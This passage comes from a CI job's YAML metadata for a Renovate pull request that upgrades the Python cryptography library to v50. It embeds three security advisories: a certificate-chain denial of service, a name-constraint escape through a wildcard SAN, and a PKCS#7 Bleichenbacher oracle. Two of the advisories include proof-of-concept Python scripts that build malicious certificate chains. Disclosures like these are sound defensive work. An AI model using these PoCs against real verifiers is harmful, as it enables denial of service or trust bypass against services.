        [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
        [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
        defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
        manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
        conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
        Close this PR and you won't be reminded about this update again.\n\n---\n\n
        - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
        box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
        View the [repository job log](https://developer.mend.io/github/osism/container-image-kolla-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbInJlbm92YXRlIl19-->\n"
      change_url: https://github.com/osism/container-image-kolla-ansible/pull/937
      child_jobs: []
      commit_id: 1b0407bb71c76bad0378e9165a927c0f931cb84b
      event_id: 302466a0-8f9f-11f1-94f4-d63e3bd9cba1
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/6149af443846466aa74140c8ab462309/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/6149af443846466aa74140c8ab462309/work/logs
        result_data_file: /var/lib/zuul/builds/6149af443846466aa74140c8ab462309/work/results.json
        src_root: /var/lib/zuul/builds/6149af443846466aa74140c8ab462309/work/src
        work_root: /var/lib/zuul/builds/6149af443846466aa74140c8ab462309/work
      include_vars: []
      items:
      - branch: main
        change: '937'
        change_message: "Update dependency cryptography to v50 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-kolla-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbInJlbm92YXRlIl19-->\n"
        change_url: https://github.com/osism/container-image-kolla-ansible/pull/937
        commit_id: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        patchset: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-kolla-ansible
          name: osism/container-image-kolla-ansible
          short_name: container-image-kolla-ansible
          src_dir: src/github.com/osism/container-image-kolla-ansible
        topic: null
      job: ansible-lint
      jobtags: []
      max_attempts: 3
      message: VXBkYXRlIGRlcGVuZGVuY3kgY3J5cHRvZ3JhcGh5IHRvIHY1MCBbU0VDVVJJVFldCgpUaGlzIFBSIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgdXBkYXRlczoKCnwgUGFja2FnZSB8IENoYW5nZSB8IFtBZ2VdKGh0dHBzOi8vZG9jcy5yZW5vdmF0ZWJvdC5jb20vbWVyZ2UtY29uZmlkZW5jZS8pIHwgW0NvbmZpZGVuY2VdKGh0dHBzOi8vZG9jcy5yZW5vdmF0ZWJvdC5jb20vbWVyZ2UtY29uZmlkZW5jZS8pIHwKfC0tLXwtLS18LS0tfC0tLXwKfCBbY3J5cHRvZ3JhcGh5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkpIChbY2hhbmdlbG9nXShodHRwczovL2NyeXB0b2dyYXBoeS5pby9lbi9sYXRlc3QvY2hhbmdlbG9nLykpIHwgYD09NDguMC4xYCDihpIgYD09NTAuMC4wYCB8ICFbYWdlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvYWdlL3B5cGkvY3J5cHRvZ3JhcGh5LzUwLjAuMD9zbGltPXRydWUpIHwgIVtjb25maWRlbmNlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvY29uZmlkZW5jZS9weXBpL2NyeXB0b2dyYXBoeS80OC4wLjEvNTAuMC4wP3NsaW09dHJ1ZSkgfAoKLS0tCgojIyMgcHl0aG9uLWNyeXB0b2dyYXBoeTogRHVwbGljYXRlIHNlbGYtc2lnbmVkIGludGVybWVkaWF0ZXMgY2FuIGNhdXNlIGV4cG9uZW50aWFsIHBhdGgtYnVpbGRpbmcKW0NWRS0yMDI2LTY5MjQ5XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0OSkgLyBbR0hTQS1qd3YzLTVoZ2YtODJ3d10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3dykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKV2hlbiByZXNvbHZpbmcgaW52YWxpZCBjZXJ0aWZpY2F0ZSBjaGFpbnMgdGhhdCBpbmNsdWRlIGR1cGxpY2F0ZSBjb3BpZXMgb2Ygc2VsZi1zaWduZWQgY2VydGlmaWNhdGVzLCB0aGUgcHJvY2Vzc2luZyByZWN1cnNpdmVseSBpbnZva2VzIHRoZSBzYW1lIGNhbmRpZGF0ZSwgbGVhZGluZyB0byBhbiBleHBvbmVudGlhbCBibG93dXAuIEFsdGhvdWdoIHRoZSBsaW1pdGF0aW9uIHRoYXQgdGhlIGNoYWluIGRlcHRoIGNhbm5vdCBleGNlZWQgYSBzcGVjaWZpZWQgbWF4aW11bSBkZXB0aCBwcmV2ZW50cyB1bmJvdW5kZWQgcmVjdXJzaW9uIGFuZCBndWFyYW50ZWVzIHRlcm1pbmF0aW9uLCBhbiBhdHRhY2tlci1jb250cm9sbGVkIGNlcnRpZmljYXRlIGNoYWluIGNhbiBsZWFkIHRoZSBwcm9jZXNzaW5nIHRvIGVhc2lseSB0YWtlIG1vcmUgdGhhbiA1cyB0byByZWplY3QgaW4gdGVzdGluZy4gVGhpcyBhbXBsaWZpY2F0aW9uIGNvdWxkIGZvcm0gdGhlIGJhc2lzIGZvciBhIHJlc291cmNlIGV4aGF1c3Rpb24gZGVuaWFsIG9mIHNlcnZpY2UgYXR0YWNrLgoKVGhpcyB3b3JrIHdhcyBjb21wbGV0ZWQgYnkgVHJhaWwgb2YgQml0cyBhcyBwYXJ0IG9mIHRoZSBQYXRjaCBUaGUgUGxhbmV0IHByb2plY3QgaW4gY29sbGFib3JhdGlvbiB3aXRoIE9wZW5BSS4gVGhlIGZpbmRpbmcgd2FzIGlkZW50aWZpZWQgcHJpbWFyaWx5IGJ5IHRoZSBDb2RleCBjb2RpbmcgYWdlbnQsIGFuZCBtYW51YWxseSByZXZpZXdlZCBiZWZvcmUgc3VibWlzc2lvbi4gCgojIyMjIyBEZXRhaWxzClRoZSBjb3JlIGlzc3VlIGFyaXNlcyBpbiB0aGUgcmVjdXJzaXZlIG5hdHVyZSBvZiBgYnVpbGRfY2hhaW5faW5uZXJgLCB3aGljaCBkb2VzIG5vdCBkZS1kdXBsaWNhdGUgYWdhaW5zdCBwcmV2aW91c2x5IGFuYWx5emVkIGNhbmRpZGF0ZXMuCgpgYGBweXRob24KICAgIGZuIGJ1aWxkX2NoYWluX2lubmVyKAogICAgICAgICZzZWxmLAogICAgICAgIHdvcmtpbmdfY2VydDogJlZlcmlmaWNhdGlvbkNlcnRpZmljYXRlPCdjaGFpbiwgQj4sCiAgICAgICAgY3VycmVudF9kZXB0aDogdTgsCiAgICAgICAgd29ya2luZ19jZXJ0X2V4dGVuc2lvbnM6ICZFeHRlbnNpb25zPCdjaGFpbj4sCiAgICAgICAgbmFtZV9jaGFpbjogTmFtZUNoYWluPCdfLCAnY2hhaW4+LAogICAgICAgIGJ1ZGdldDogJm11dCBCdWRnZXQsCiAgICApIC0+IFZhbGlkYXRpb25SZXN1bHQ8J2NoYWluLCBDaGFpbjwnY2hhaW4sIEI+LCBCPiB7CiAgICAgICAgaWYgbGV0IFNvbWUobmMpID0gd29ya2luZ19jZXJ0X2V4dGVuc2lvbnMuZ2V0X2V4dGVuc2lvbigmTkFNRV9DT05TVFJBSU5UU19PSUQpIHsKICAgICAgICAgICAgbmFtZV9jaGFpbi5ldmFsdWF0ZV9jb25zdHJhaW50cygmbmMudmFsdWUoKT8sIGJ1ZGdldCk/OwogICAgICAgIH0KCiAgICAgICAgLy8gTG9vayBpbiB0aGUgc3RvcmUncyByb290IHNldCB0byBzZWUgaWYgdGhlIHdvcmtpbmcgY2VydCBpcyBsaXN0ZWQuCiAgICAgICAgLy8gSWYgaXQgaXMsIHdlJ3ZlIHJlYWNoZWQgdGhlIGVuZC4KICAgICAgICBpZiBzZWxmLnN0b3JlLmNvbnRhaW5zKHdvcmtpbmdfY2VydCkgewogICAgICAgICAgICByZXR1cm4gT2sodmVjIVt3b3JraW5nX2NlcnQuY2xvbmUoKV0pOwogICAgICAgIH0KCiAgICAgICAgLy8gQ2hlY2sgdGhhdCBvdXIgY3VycmVudCBkZXB0aCBkb2VzIG5vdCBleGNlZWQgb3VyIHBvbGljeS1jb25maWd1cmVkCiAgICAgICAgLy8gbWF4IGRlcHRoLiBXZSBkbyB0aGlzIGFmdGVyIHRoZSByb290IHNldCBjaGVjaywgc2luY2UgdGhlIGRlcHRoCiAgICAgICAgLy8gb25seSBtZWFzdXJlcyB0aGUgaW50ZXJtZWRpYXRlIGNoYWluJ3MgbGVuZ3RoLCBub3QgdGhlIHJvb3Qgb3IgbGVhZi4KICAgICAgICBpZiBjdXJyZW50X2RlcHRoID4gc2VsZi5wb2xpY3kubWF4X2NoYWluX2RlcHRoIHsKICAgICAgICAgICAgcmV0dXJuIEVycihWYWxpZGF0aW9uRXJyb3I6Om5ldyhWYWxpZGF0aW9uRXJyb3JLaW5kOjpPdGhlcigKICAgICAgICAgICAgICAgICJjaGFpbiBjb25zdHJ1Y3Rpb24gZXhjZWVkcyBtYXggZGVwdGgiLmludG8oKSwKICAgICAgICAgICAgKSkpOwogICAgICAgIH0KCiAgICAgICAgLy8gT3RoZXJ3aXNlLCB3ZSBjb2xsZWN0IGEgbGlzdCBvZiBwb3RlbnRpYWwgaX